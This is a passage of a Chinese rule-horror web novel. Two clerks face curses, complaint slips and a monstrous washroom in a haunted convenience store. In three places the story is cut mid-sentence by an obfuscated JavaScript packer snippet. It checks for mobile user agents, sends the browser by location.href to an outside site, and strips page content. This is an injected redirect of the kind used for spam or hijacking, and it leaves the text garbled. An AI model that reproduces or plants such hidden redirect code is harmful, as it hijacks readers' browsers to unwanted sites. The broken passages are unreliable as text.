太不妙了。规则含糊不清,进来购买商品的客人又无法控制。她们随意一个举动都可能再次招致差评。 不愧是时薪一百的活…… 舒司鸢大脑飞速运转,她本来以为自己已经通过戒指,来到一个安全的世界,不免松懈下来。 然而明空那句令她毛骨悚然的“便利店门口贴着的守则”,以及无需顾客主动便自动生成的投诉,无一不在提示她——此世界仍然存在诡异。 舒司鸢拨弄着小指上的戒指,她能不能再穿越一次啊? “麦芽糖要怎么做?”舒司鸢转悠到莘曼身边。 “需要麦芽和糯米,还好早上还剩下一个粽子。不过没有小麦。”莘曼把制作教程视频拖到开头,忽然一拍脑袋,后知后觉道,“呃,我们为什么要做这个?” 虽然老板说了要尽心尽力服务顾客,但也用不着顾客要什么给什么,给不了自己就从源头生产吧? “因为我们一小时有一百块。”舒司鸢随口扯了一句,应付莘曼。 “那怎么办?”明空焦急地问。 舒司鸢已经看完了制作过程,正在看视频发布者在视频末尾的简短科普。她把莘曼的手机换了个方向,指道:“你看这个。” 屏幕里是一块两个巴掌大的白色方块形状的糖,一只手用一把小锤敲着,将糖敲成小块的形状。 她把声音调大,拖回进度条,背景音里是类似“叮叮”的响声。 “也许可以找点白色的糖果一锅融了?或者直接用面粉烤个干巴面包出来?”她提议道,“我记得最后一排货架是卖厨具的,找找看有没有和锤子差不多的工具。” 眼下缺少工具,也只能这么糊弄了。 死马当活马医。难道要她三更半夜的带着个小学生在便利店里种小麦? 那场景,比诡异还诡异。 舒司鸢坚信,无论是她之前经历的里世界,还是如今新世界中诡异便利店,都一定有空子可以钻。 明莱要的‘叮叮糖’,或许重点不在“糖”,而在“叮叮”上。 “就这么办吧。”明空一听,连忙道:“用多少糖果我买多少。” 她扯过一个购物篮,继而又抱着篮子踌躇道:“可不可以请你帮我照顾一会儿外婆?” 舒司鸢明白她的言下之意,是希望她像刚才一样,在明莱被影响时能够阻止她。 她毫不犹豫地答应下来,反倒让明空犹疑不定。 “别担心,”她笑道,知道明空肯定猜出来了,店员要救人是以自身为代价的,“你外婆要是真的拿着这东西来结账,我照样也要拿差评。” 阻止明莱找到糖,她就是没有满足顾客的需求;放任明莱找到糖,则她协助顾客购买到不存在的货架上的商品,这种助力顾客违反规则的行为,在员工条例里绝对也是不被允许的。 左右都会得差评,她不如顺水推舟,让明空承她的情。 明空也绕明白了,她小脸皱了一下,眼睛看向地面,极轻地说了声“谢谢。”然后抓着篮子跑了。 莘曼没再发表任何评论,她被另一件事吸引注意,正在和杂乱无比的抽屉斗智斗勇,仔细埋头翻找什么,估计压根儿没听到。 几分钟后,她激动地抖出一大把丁零当啷的钥匙:“果然在这,上次看见老员工把仓库和大门的钥匙都放在这里。其他的肯定放一块儿了。” 她挑出其中一串贴着写有“意见箱”三个字的钥匙,往锁孔一插一扭,盖子一掀,打开了意见箱。 “开关是不是在内部啊?”她伸手摸索着意见箱,里面躺着四张黄色便签条,一看就是从搁在意见箱上的那沓便签本上撕下来的。 舒司鸢也凑过去看,余光里还在时刻注意着明莱的动向。 “我向店员问有没有‘叮叮糖’,她说店里没有。便利店东西这么少,怎么开的店?” “我问了好几次,店员一直说没有,也不想帮我找。后来被问烦了就假装找。服务态度不好。” “有个店员查了商品目录,又说没有我要的东西。肯定是懒得卖我东西。” “我自己找到‘叮叮糖’了,店员不让我买。” 莘曼逐一念出便签条上的内容。 她难以置信道:“这些是那个老婆婆写的吗?她什么时候写的,我没看到她动笔啊。” 比起有人投诉,她更惊讶于明莱是何时写下的便签。 “而且我明明没有态度不好嘛,”她委屈地说,“我是带着婆婆把每一排货架都走了一遍,好让她看清楚,店里是真的没有她要的东西啊,才不是假装的。” 同样被明莱投诉了两个差评的舒司鸢已经生死看淡,便签纸在她手中翻来翻去——如果把这些便签纸损毁,工作服能恢复原本的颜色吗? 说干就干,舒司鸢背着莘曼,悄悄撕掉投诉自己的那一张便签纸做试验,然而意见箱又是一道红光闪过。 又一条投诉新鲜出炉——指控舒司鸢竟然妄图私自删除差评。 而那张被她撕成两半的便签,安然无恙地躺回了意见箱。 “怎么回事?”莘曼瞪着凭空多出两条便签条的意见箱,手指哆嗦着夹起来,待看完上面的内容,她一下子转过身体朝向舒司鸢,把纸条拿给她看。 然而出现了令她更为惊恐的局面。 “小鸢,”莘曼的声音跟着哆嗦起来,“你的工作服怎么变成了浅绿色的……” 舒司鸢也在无语,知道挨差评后衣服会褪色,没想到第三次能直接给她褪个大的。 并且相当不妙的是,第三次褪色后,她感觉自己的脑袋仿佛被摘了下来,被丢进一片茫茫草野,从一片斜坡上滚下来。 打住。她使劲晃了晃头,再想下去,幻想就要成真了。 “刚才你让我找怎么做麦芽糖的时侯,我好像听到婆婆说什么‘第六层’,指的是货架吗?”莘曼一注意到一件不对劲的事情,便立刻连带着想起了所有的异常,“店里哪有六层的货架啊……” 她脸色逐渐失去血色,变得苍白不已:“我们不会是撞鬼了吧……” “差不多。”舒司鸢说,强撑着混沌的头脑,给她简单解释了当前的情况。 “难怪夜班一小时一百……”莘曼听完,发出了之前和她一样的感叹。 莘曼两掌相击,得出结论:“开得太低了!” 舒司鸢颇为认同。时薪一百固然打动人心,但换算一下,这不就是花八百块钱买条命吗?! 在她之前的世界,只要满十二岁,人人无时无刻不被拉入里世界中遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272678|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇诡异,她本人也常常进行价值零元的逃命冒险活动——但这是由于受到世界规则的限制——人们之间无法谈论任何关于“怪诞”的信息,而且极大多数里世界都是单人进入,大家想花钱找人带自己都不行。 饶是舒司鸢六年以来,经历了不下千次的里世界,也只有在最后一次遇到了另外两个人,正是她遇到秦迎和夏蓁蓁的那次。 现在想来,应该是那个里世界里,存在有戒指这种可以穿越时空的特殊物品,所以才会一次性投放这么多人吧。 舒司鸢合上意见箱的盖子,看了一眼莘曼。对方只受到两次投诉,精神状况还算稳定。 “先搞定明空的外婆吧,”她指了一下煮茶叶蛋的大锅,“这锅能用吗?烤箱呢?” “能用!”莘曼打开锅的电源,往里倒入小半锅水。 水咕嘟咕嘟沸腾起来,明空揣着满满一篮子糖果回来了。 舒司鸢帮明空把购物篮扛上桌面,三人配合结账。毕竟她拿不准先用后付这一行为,会不会被判定成没有尽到看守便利店的职责,让她和莘曼又拿个差评。 莘曼在便利店兼职已有两个月,干起活来很是熟练。明空刚付完钱,小票还未完全打印出来,舒司鸢拆开一袋面粉,倒进莘曼从橱柜里取出来的大盆里。 明莱隐隐有再次被异化的迹象,舒司鸢赶忙过去给她续上店员牌清醒话语术。 很好,那种脑袋在草原上翻滚的感觉再一次席卷了她,比之前还要强烈。 “你让我去呀。”莘曼看着她身上已然近乎白色的制服,不由心急地说。 舒司鸢扶着收银台,摆摆手示意自己没事。前两次不觉,等到第三次褪色时,那种思想被扭曲的感觉已经很明显了。她怕莘曼作为一个普通人,到时候承受不住,她又要多一个照顾和防范的人。 舒司鸢可不想和同事的头同处一屋,度过接下来的七个小时。 不过下一次明莱再发作,就必须得让莘曼上了。 她按捺着想把脑袋摘下来的冲动,去帮莘曼拆封糖果——另一边,明空为了救他外婆,力气大的出奇,这会儿已经把面团三两下揉完,丢进了烤箱里。 看着那一大坨的无规则形状的面团,舒司鸢祈祷它烤出来不要太硬,否则她们到时候敲不下来,又是白白浪费了时间。 明空解决完面团,也加入拆糖果的队伍。莘曼空出手来,用大勺搅着锅里的糖水。 粘稠程度差不多了,莘曼把糖汁刮到空碗里,送进冷冻柜最底层。 期间明莱又吵着说看到第六层了,莘曼举着勺子跑去安抚她。 最后人是摇摇晃晃回来的,好在舒司鸢预先给她提过醒,莘曼尚且控制住脑海中五彩缤纷的想法。 衣服颜色越是接近白色的店员,能帮助顾客清醒的时长也随之变短。 意识到这点,舒司鸢的目光不时在烤箱和冷冻柜之间移来移去。 分针走过几格,空气中渐渐蔓延开一股焦煳味,终于“叮”的一声,烤箱停止运作。 明空戴上手套,拉出托盘,放到收银台上。 “黑色的,不太像啊。”莘曼看着这团惨不忍睹的面团。 “抹点奶油吧。”舒司鸢摇晃手里的奶油罐子。几分钟前,她看到面团开始变黑的时候,就去拿来了。 舒司鸢挤空半罐奶油,莘曼用勺子刮匀。 明空推着明莱过来了。 舒司鸢扬起手里的锤子,一锤敲在烤焦的面包上,面包屑和奶油四溅。 “当、当、当”。她一下下地敲,明莱的视线被吸引,锁定在她们粗糙制作的盗版‘叮叮糖’上。 舒司鸢注视着缓步朝她走来的明莱。 救命,为什么她会有一丝虐待老人的微妙感觉。 6. 好多多便利店3 “叮、叮、叮……” 便利店的白炽灯一盏盏熄灭了,明莱在黑暗里无措而局促地站立,双手虎口紧贴着裤子的中缝线。 “小好……小好……” 她口中再次小声翻滚起那个烂熟于心的名字。 “啪”的一声,温馨的黄光亮起,明莱下意识耷拉下眼皮,又茫然地睁开。 周围的一切都披上一层朦胧的橘黄色光晕,厨房里炖着汤的锅咕嘟咕嘟冒着泡,排骨汤的香味悠悠传出,和常年浸润这所房屋的笔墨味纠缠。 明莱一怔——这味道她闻了有数十年了。 ……到底是几个十年呢? 明莱盯着微微凹陷的沙发上的坐垫,垂下的流苏一绺一绺——她人生的年头,竟比流苏的条数还要多了。 “妈?”一只黑乎乎的稚嫩小手在她眼前扇了扇。 明莱回过神来。 是明好——她的女儿,松开了手里的拉绳开关,歪着脑袋,嘴角勾起笑意。 “干嘛不开灯,屋里很暗诶。”明好刚放学到家,打了好几个补丁的红色书包一甩,大咧咧地躺到沙发上,“省那几个电费,却把眼睛熬坏了,多不值当。” 见饭桌上果然摞起厚厚一叠作业本,桌面上两本作业本摊开着批改到一半,她顿时半是抱怨半是关心道:“生病了就好好休息嘛……” 明莱的眼珠转了转,定格在那一叠卷边儿的作业本上。 对、对,她想起来了,学生们的作业还没改完。动作要快一点,明天就要带去。 “你先去洗手,然后把菜盛出来。”明莱踱着步子,不大利索地拖过椅子坐下,“妈把手上这本改完就吃饭。” 明好立刻把嘴撅得老高,却没说什么,闷声钻进厨房,鞋子把地板踩得很响。 明莱注视着那道泥鳅般灵活的小小身躯,她被木柴燃烧后的灰烟呛得打了个大大的喷嚏,边掩着口鼻咳嗽,边在拥挤的厨房掀开木制锅盖,汤勺连汤带水铲起几块排骨和玉米萝卜。 她看到看到明好用筷子夹起一块最小的排骨,放进嘴里嚼了许久。那两根筷子横在她手上,像是两条最笔直的横线——是了,这条横线上的问题最难回答。 可是这个学生做对了,明莱画上一个又漂亮又醒目的勾。字迹很眼熟,她把本子翻过来,扫了一眼姓名。 岑越 明莱的眉心舒展开来,岑越是她最喜爱的学生。认真好学,是她班里的第一名,既尊重老师也关爱同学。真好的学生啊,就是她爹妈不让读书…… 不锈钢盆搁到桌上,明好眉头夹了一下,随后呼啦啦收起作业本,她粗声粗气道:“吃饭!” 明莱放下手里的红笔,把笔夹在书页中合上,接过一碗冒尖的白米饭。 明好眼尖地瞥见本子上的名字,不满地冷哼一声。她不喜欢岑玉燕,不喜欢这个总是来她家,分走她一半麦芽糖的人。 明莱挑出一块最大的排骨,放到一旁干净的碟子里。然后才开始吃饭,她发现自己咬不动排骨了,尽管肉已经炖的烂熟。 看她不吃,明好也舍不得吃。 “都吃了吧。”明莱伸手抚平明好头上一缕翘着的头发丝,“吃完妈再买。” “今天不想吃。”明好塞满一口胡萝卜,筷子点点碟子,“这个是给岑玉燕的吗?” “是啊。”明莱也夹了一箸萝卜,“小越在家哪吃得饱饭……” 明好抿了抿唇,不说话了。她讨厌岑玉燕,但也可怜她。 饭菜和随之而来的沉默一起被她们咽下了。 明好争着收拾碗筷,她端着碗盆进了厨房,又端着一块用白布包裹的东西出来。 “你看。”她像炫耀捡到的珠宝那样,故作神秘地打开了白布。 那是一块宛如小孩子的手掌大的‘叮叮糖’。 “你不是爱吃吗?”明好得意地欣赏明莱脸上惊喜的表情,“我攒钱给你买的。” “当当。”明好像晃拨浪鼓一样晃晃手里的小锤,“现在是麦芽糖明大侠‘叮叮好’为你服务。” 明莱被她逗乐了,配合道:“行行行,顶顶好的大侠,给我敲一块吃吧。” “这么捧场,再送你一块。”明好被哄开心了,重新把白布盖上,拿锤子敲——这锤子是用来修院子里的篱笆的,老是在那些锈迹斑斑的钉子上敲敲打打的,明好觉得还是用纱布盖一层好。 明好简直是在乱敲,明莱却并不制止。 她仰躺进杂乱的噪音里,这嘈杂的声音竟能让她安心地闭上双眼。 “叮、叮、叮……” 明好敲了多少下了?这笨手笨脚的孩子……她捡到明好之前,就爱吃麦芽糖了。 她是什么时候捡到明好的? 明莱细细地回想。是在她第二十次吃到‘叮叮糖’的时候,是她人生的第二个十年。 而后第三个十年,她和明好一起生活,许愿她平平安安地长大。 第四个十年,长大的明好一如二十年前的她一样,也捡回来一个脏兮兮的小孩。 第五个十年,明莱、明好和明空一起生活。明好长得更大了,却没有平平安安。她未能如愿。 明莱睁开眼睛。她想起来了。她已活过了人生的七十个年头,她已有七十岁了。 而眼前为她敲下糖块的小女孩,她分明是明好,但却是四十年前的明好。 四十年前,岑越还不叫岑越,她叫岑玉燕。 四十年后,明好不在明莱的家里,明好失踪很久了。 “叮、叮、叮……” 敲糖的声音还在继续,一下一下敲碎了四周的家具,敲碎了鹅黄的灯光,敲碎了明好又黑又红的小脸。 那张脸缓缓虚化,又缓缓重合在另一张相似的脸上。 “外婆,”明空眨着和明好相像的一双眼睛,“要先付钱才能吃哦。” 明莱眼神清明,虽然对面前一团白色不明物体心存疑惑,但还是听从孙女的话,从兜里摸出一把零钱来。 这该怎么定价啊…… 莘曼一脸愁容。 “先把商品录入吧。”舒司鸢说,“不在便利店货品清单里的话,万一不算呢。” 莘曼的手一顿,觉得很有道理。她对准黑焦的面团拍了个照,上传到库存信息里,随手输了个奶油抹面巧克力面包。 她标上奶油喷罐的价格,然后往上抬了一两块,权当手工费。 “好了,婆婆您拿好。”莘曼把零钱找回给明莱。 钱付完了,明莱伸手去拿舒司鸢打包好的面包。明空抢先夺过去,拎在手上。 “我来拿着吧!”明空把袋子藏至身后。这毒玩意儿哪能吃? 可她外婆一直是个乐于尝试的人,说不定真会试试。明空握紧了袋子,等会出门她就找个垃圾桶丢了。 “咱们大半夜在这干嘛?”明莱问道,几道眼纹皱起来,她眯起眼睛,新奇地打量来打量去。 “还是你对我好。”她打趣明空道,“你妈可从来没带我这么晚出过门。” 明空扯了扯嘴角。明好规定的宵禁时间是晚上八点。即使她离家多年未归,她和外婆至今不敢造次。 “那现在回家吧。”明空没有解释,只说是自己睡到一半,嘴馋了想买点零食吃,一个人害怕才拉着外婆来。 “不着急,再转转。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272679|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明莱精神抖擞,背着手转悠开了。 “啊啊啊,外婆!”明空急得在原地转了个圈。 “你和你外婆接下来一段时间内不会再出事了。但你们最好还是尽快离开为好。” 舒司鸢擦着收银台:“第三条规则,顾客必须购买商品。这句‘商品’指的是顾客心中真正想要的东西,买完这类‘商品’的顾客,之后再待在便利店里,应该会安全很多。” “你看。你外婆买到了想要的‘叮叮糖’;你买到了想要救你外婆的糖果面粉;还有那个实习生,他想要的是咖啡和饭团。” 明空循着她的话,看看外婆,看看自己,又看看舒司鸢提到的实习生。明莱正好转到实习生旁边。 “哟,这怎么还倒了一个,”明莱煞有介事地评价道,“年轻人觉就是好。” “睡在这着凉了怎么办,家人该心疼了。”明莱自顾自嘀咕了一句,推了推实习生的肩膀。 实习生睡眼惺忪地揉了揉眼睛,迷迷瞪瞪地对上一双关切的眼睛。 “小伙子,早点回家吧。” 他朝明莱点点头,拎着公文包站起来,几口解决冷掉的饭团。 “垃圾丢这吧。”莘曼让出脚边的垃圾桶,对路过收银台的实习生说。 实习生微微弯腰,把包装袋丢在垃圾桶中,余光瞥见一只黑猫,正侧躺在深蓝色的矮凳上。 他呼吸乱了一拍:“那是你的猫吗?” “是我的。”舒司鸢回答道。 他又朝猫投去好几眼。芝麻似乎感受到背后的灼热视线,尾巴尖不耐烦地小幅度甩了甩。 “黑猫好啊。”明莱听见有小动物,也感兴趣地溜过来,“黑猫能镇邪呢。” “油光水滑的。”明莱伸长脖子往里瞧,夸赞道,“小姑娘你养的真好。” “每周会喂一次鱼油。”舒司鸢淡淡地说。 每次还得骗着吃。现在好了,别说补剂,下一顿饭都指不定在哪。 实习生临走前还看了好几眼芝麻。等他走后,明空和明莱也离开了。 便利店冷清下来。舒司鸢靠在椅背上,咬牙对抗大脑中的晕眩感,额角滑落几滴冷汗。 第六层货架…… 地板与货架最底层之间,凝聚出一条长长的白色虚影,接着长出模样怪异的商品,大多是真空包装的肉类食品。少有的几样画着卡通图案的零食,人物的眼珠转过来与她对视,嘴角越来越下弯。 身体动不了,视线控制不住地黏在第六层货架上,她牙齿发狠一咬。剧痛劈开沉陷幻觉的大脑,趁着清醒的一秒,连忙挪开目光。 血腥味扩散到鼻腔,身体摆脱无形的桎梏。舒司鸢抽了一张纸巾捂住下唇瓣,轻轻压着。 芝麻闻到血味,翻身爬起,爪子搭在她衣摆上。 “怎么了这是?”视野里有团黑影闪过,莘曼以为又生变故,慌忙转头,却见雪白的纸巾上洇开一点鲜艳的红。 “我看见不存在的货架了。”透着纸巾,舒司鸢的声音蒙上一层含混,她让莘曼也多加小心。 莘曼受污染的程度比她轻一些,但也好不到哪去。她时不时连喝几口冰过的矿泉水,好让自己冷静下来,似乎这样就能冰封住脑海中不断生成的想象。 听舒司鸢说完,莘曼爱幻想的大脑当即涌现一连串惊悚的场景。她一口气把手里剩下的半瓶水喝完,浇灭疯狂繁衍的幻想。 千万别再有顾客来了。莘曼用冰冷的手指按压一鼓一鼓的太阳穴。 嘴巴一圈冻到失去知觉,于是铃声“叮铃铃”打响时,莘曼张嘴,只吐出一缕白雾。 “欢迎光临。”舒司鸢接过她的话茬。 7. 好多多便利店4 一阵“哗啦啦”连响,有人不客气地撇开门帘,深色风衣捎带进晚风,吹凉室内的温暖。 男人大步来到收银台,身体随意一靠,指节敲了敲柜面:“老样子。” 舒司鸢从电脑后缓缓站起来:“?” “新来的?”他颇感意外,抹了把冒着青茬的下巴,语调懒散,“拿瓶你后面架子上的水。” “还有这个,一起结账。”男人脸上带着一股被强迫起床的怨气,尚未平息。他点点透明的柜子,自行拿了台面上一袋牛奶吐司。 舒司鸢替他取出烟,扫码结账的时候有意蹭到柜台上“禁止吸烟”的标识,白底红字明晃晃冲着他。 男人嗤笑一声,无视了她的小伎俩。他把烟盒抄进风衣兜里,递上一张会员卡:“第一次上夜班?” 舒司鸢边点头边刷卡:“一共两百二十元,打……五折。收您一百一十元。里面的余额还有……二十六万八千七百六十三块。” 要不是电脑上显示此卡主人是本店超级无敌至尊VIP客户的动画提醒,舒司鸢都要冲去把莘曼摇过来了——后者由于饮水过多,早早告辞上厕所去了。 持卡人名字很怪——林组长。 难道便利店老板和至尊VIP客户进行交易时,彼此之间必须要称职务? 舒司鸢又核对了一遍。这要是算错了,她得在便利店白干一年才够还债的。 舒司鸢把卡还给林组长,听到他问:“后面那只是你的猫吗?” 舒司鸢真是纳了闷了,怎么一个两个的,都对她的猫这么感兴趣? “它好像很紧张。”林组长点评道。 芝麻闭着眼睛,卧趴在冰凉的塑料矮凳上,两只前爪揣在胸口。 这是它心存戒心才会表现出来的一种睡姿,实际上两只耳朵还在支棱着听周围的动静,一有异动方便逃跑。 “它第一次来,不太熟悉环境吧。”舒司鸢随口应付一句,不想过多解释,以免激起对方的好奇心,再生事端。 毕竟目前看来,店员离开便利店的方法只有等到下班一种…… 她盼望林组长买完东西赶紧走。万一他也被迷惑了,她和莘曼再有十次机会也不够用的。 结果对方的手肘往收银台上一撑,大有一副要跟她聊到底的架势。 “不是说猫的感官很灵敏吗?”他压低声音道,“能够预知危险,也能感知到人类无法看见的磁场变化。” “有的,”舒司鸢胡乱扯着话头,“玩咬手鳄鱼玩具一次也没被咬到过。之前还发现过家里的水管漏了,我上次小臂有一块皮肤过敏也是它提醒的。” 如果芝麻真的能提前预警便利店的古怪之处,就算是薪水开到一千一小时她也……她选择照进不误。 “哦对了,还有陌生人半夜在门口停留时间过长的话,它会挠门。” 现在就有一个停留时间过长的陌生人。 那只猫正好转过脸来,金黄的瞳孔凝视着他,身体放低,看起来像是整个贴在凳面上。 林组长迅速移开与之对视的目光,却没有离去的意思。他语带失望,继续闲聊:“这么多年,我还以为终于进化出有灵性的猫了,之后能用在……。” “用到哪里?”舒司鸢快速打断,语速极快,“用来预测每一次诡异现象的出现?” 她逼视着他。 林组长拧开矿泉水的瓶盖,不紧不慢喝了一口:“很多年前有人研究过,后来终止了。” 他不说话了,开始扭着袋装吐司的铁丝条。舒司鸢等着下文,抄起剪刀咔嚓一刀——“便利店是什么情况?” “诶——”林组长怏然道,“新来的下手没轻没重的。剩下的我打算明早当早餐呢。” “套上。”舒司鸢拽下一只塑料袋,拍在收银台上。 林组长不满地收下了:“看你们情况还好,今晚没来精神状态不好的顾客?” “有一个老婆婆,”明白过来对方是来了解内情的专员,舒司鸢便不隐瞒了,“她要买的东西,店里没有。” “解决了就好。”林组长也在暗暗端量她。 女孩言谈举止都与常人无异,说明她受污染程度不深,甚至没被污染——亏他连轴转了两个礼拜,好不容易休上假。睡梦间被许弦的电话轰炸,说今晚已经接到了七次差评。 他一听那还得了。奈何下属全在任务中,林组长只得亲自连夜赶来。 然而到店一看,俩人都好端端坐着。 林组长当即在心里痛骂许弦,这人跟诡异结合后总爱遛人。 “你的搭档……”林组长试图套话。能在特殊顾客手上零差评,都多久没出现这样的新人了? 林组长望着舒司鸢清澈的双眸,一秒钟内做出决定,两个人他都要拉进自己的组里。 至于其他组长,谁让他们都不在总部? 有潜力的新人就是手慢无啊。 命里无时莫强求! 林组长满意地暗自斟酌,打算待会就回总部,直接拿着两人的个人信息表把章盖了。 舒司鸢却是脸色一变。 说起莘曼,她怎么还没回来? 不对。诡异便利店,女厕,孤身一人。 她简直集齐了恐怖片撞鬼要素! 舒司鸢立即冲向厕所。 面前是三扇一模一样的门,唯一的区别便是顶部贴着的标签。 女厕,男厕,和仓库。 其中,仓库的门上特地标有“禁止无关人员进入”的字样。 “莘曼?”她站在门口呼唤道。 舒司鸢不确定店员是否属于“无关人员”的范畴,便不敢贸然进入。 “我在这。” 一扇门后传来微弱的应答。 “莘曼。”她把耳朵贴到仓库门上,“是你的话,敲一下门。” 门后一片死寂。方才出声的人不再说话了。 “笃。”女厕里响起一道短促的敲门声。 她暂时跳过这扇门,去听女厕的动静。 缓慢、湿滑的刮擦声,是拖拽重物的声音,一步一步朝门口靠近,声响愈发清晰…… 舒司鸢猛地后退一大步远离门。她无端有种预感,再听下去,那东西要被拖进她耳朵里来了。 明知有异,她仍无法排除这扇门。说不定就是莘曼在被怪物拖来脱去呢,或者是莘曼在拖东西? 若是莘曼着急上厕所,根本没注意到异常,很有可能直接进了贴有“女洗手间”标识的房间。 指尖移到门把手上,虚虚搭着。至少这扇门后的情况,是已知的。 她一点一点下压门把手。 “小鸢、小鸢……是你吗……唔……” 男厕传来断断续续的呼救,还夹杂着一声被捂住嘴的呜咽,继而归于宁静。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272680|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒司鸢收回手,放弃判断。刚才来得急,这会儿她才想起便利店内的林组长,此人明显是专门处理这类诡异事件的。 然而她一回头,身后的走廊不知何时消失了,变成一堵墙壁。 得。安安分分找人吧。 “莘曼?”舒司鸢又试着喊道。 三扇门全都安静伫立,不再给予回应。看来,刚刚的动静便是全部的提示了。 头顶的灯光宛如人类眨眼那样亮灭一瞬,几乎感受不到什么变化。门却朝她逼进大半距离,迫使她挑选一扇进入。 灯光。 舒司鸢仰头观察天花板。三扇门各自占据一面墙壁,顶角线处装有三条灯带。 她的视线下落,多出来的一堵墙上,有一块轻微的凸起。表面刷成和墙一般的颜色,很容易被忽略过去。 那是三个开关。 她谨慎地按下第一个。 女厕的那一面墙壁暗下去。明明还有两盏灯亮着,光线到达那扇门前时,却仿佛被吞噬殆尽。 黑色的门扉上,亮起一片蓝色的荧光,喷溅在大半扇门上。星星点点,宛如蠕动的虫子被拍扁在门上风干了。 她按下其余两个开关。 荧光的形状有所改变,不过还是张牙舞爪地大片盘踞在门页上。 四方空间沉入浓稠的黑暗之中,唯有开关发出淡绿色的光芒,指引位置与方向。 舒司鸢的手还放在开关上,她不敢移开,怕光亮消失。 下一刻,她打开开关。 门离她又近了一些。 空间近乎逼仄。她再次按下开关。这一回,有一扇门的荧光消失了。 她回忆着标识,那里似乎是女厕? 舒司鸢心一横,摸索到门把手,往下一压。 “吱呀。”门打开一条小缝。 她透过门缝观察,门后的空间一览无余——室内明亮,有三个隔间,一高一低两个洗手池,角落堆着拖把和水桶。 舒司鸢将门推得更开些,伸进脑袋左右察看。 镜子内倒映出她的身影。她凝视良久,比划了几个动作。镜面中的她的身影一一照做。没有不对称,也没有延迟,更没有对着她露出奇奇怪怪的笑容。 舒司鸢稍稍放心,走了进去。以防门关上,她把门完全打开,并一直拉着门把手,没有放开。 脚下的浅米色瓷砖光洁如新,不像有拖拽的痕迹。 隔间的门与地面贴合,不留一丝空隙。她想知道里边的情况,就必须开门。 “莘曼。”她用气音叫了一声。在静谧的洗手间内,足够引起注意。 无人回应。 镜子上忽然亮起蓝光,她一惊,猝然回头。 另外两扇门移过来了,紧紧贴住女厕。上面蜿蜒的荧光恍若鬼手,错觉般扭动一下。 门想吃她。 她关上了门,挡住溢出的恶意。 也是由此,她发现门后贴着一张写有几行字的白纸。 【恭喜你进入正确的洗手间。请在本空间内遵循以下规则。】 【一、本空间对员工与顾客均开放。】 【二、进入隔间前,请敲门。直至隔间内无回应时,方可进入。进入隔间后,禁止抬头。】 【三、非保洁人员,禁止触碰清洁用品。】 【附:上述规则仅于今日生效,请留意。】 8. 好多多便利店5 身体剧烈颤抖,寒冷啃食着莘曼的意识。她被关在一方极其狭小的立式透明冰柜,双腿折叠,膝盖顶着胸口。 莘曼任凭眼泪在脸上乱淌,反正冰柜零下的温度能够轻易将其固定住。 呜呜呜呜呜为什么上个厕所都能撞邪……都怪她喝多了水,都怪她看错了门口贴着的标识。 呼吸化为白雾,涂抹在冰柜的内壁上,模糊了眼前那团正在伏动的红黄肉团。 冰柜里的莘曼像是一颗搓得圆圆的馅料,被包裹进了肉团里。莘曼望着柜外油腻的糊状物,感觉自己正在被孵化。 灯是她开的。那时她才看清,那盏她以为是吊灯的东西,其实是一滩绞过的肉泥,一块一块从天花板往下摔落。 她拔腿就跑。然而为了开灯,她靠得太近了。门失去她的支撑,早已重重阖上,还上了锁。 莘曼惊恐的看着那团肉在地上拼合,汇聚成一团与她身形近似的肉块。但它刚迈出一步就摔在地上,于是便朝她疾速爬近。 血淋淋的肉块粘住她,将她拖进冰柜。 她身体的热量大量流失,莘曼绝望地闭上双眼。 “莘曼。” 是不是有人在叫她?还是耳朵先被冻坏了?好熟悉的声音……不对,是真的有人在叫她!是小鸢! 莘曼抖开眼睫毛,她大喊:“我在这!” 声音弹在冰柜上被吸收,连她自己也无法确认是否喊出了这一声。 肉块却动了。更多的肉涌动在正对着她脸的那一面玻璃上。莘曼生出一种被凝视的感觉。 她的感觉没错。肉块模仿她的口型与声音,清晰无比地说了一句:“我在这。” 这句话也传到了她的耳朵里,声音是自己的,语调却如此平静无波。莘曼整个人头皮发麻,指尖挣扎着刮过冰柜——这是她唯一能动的部位了。 指甲断裂出血,零下的温度却封闭了她的痛觉。莘曼咬着嘴唇死死盯着门,拼命祈祷—— 不要进来! 舒司鸢没有进来,她站在门口谨慎地让她敲门。 莘曼还在庆幸,头顶的玩意儿晃了晃冰柜,竟是下去了。 肉块来回挥动两条下肢,奇形怪状地走到门前。组成手的那一块肉抬起,握成一个拳头,虚空砸了一下。 由于角度问题,落在莘曼眼里,就是它敲了一下门。 它不能主动开门出去,只能引诱人进来。意识到这点,莘曼的注意力全部集中到门把手上。 舒司鸢仍然没有开门进来。她深深呼出一口气。 一口气还没吐到底,肉块又扭动着出声:“小鸢、小鸢……是你吗……” 这一次,它的声音中已然染上几分害怕与怯意,拙劣的模仿渐趋惟妙惟肖。 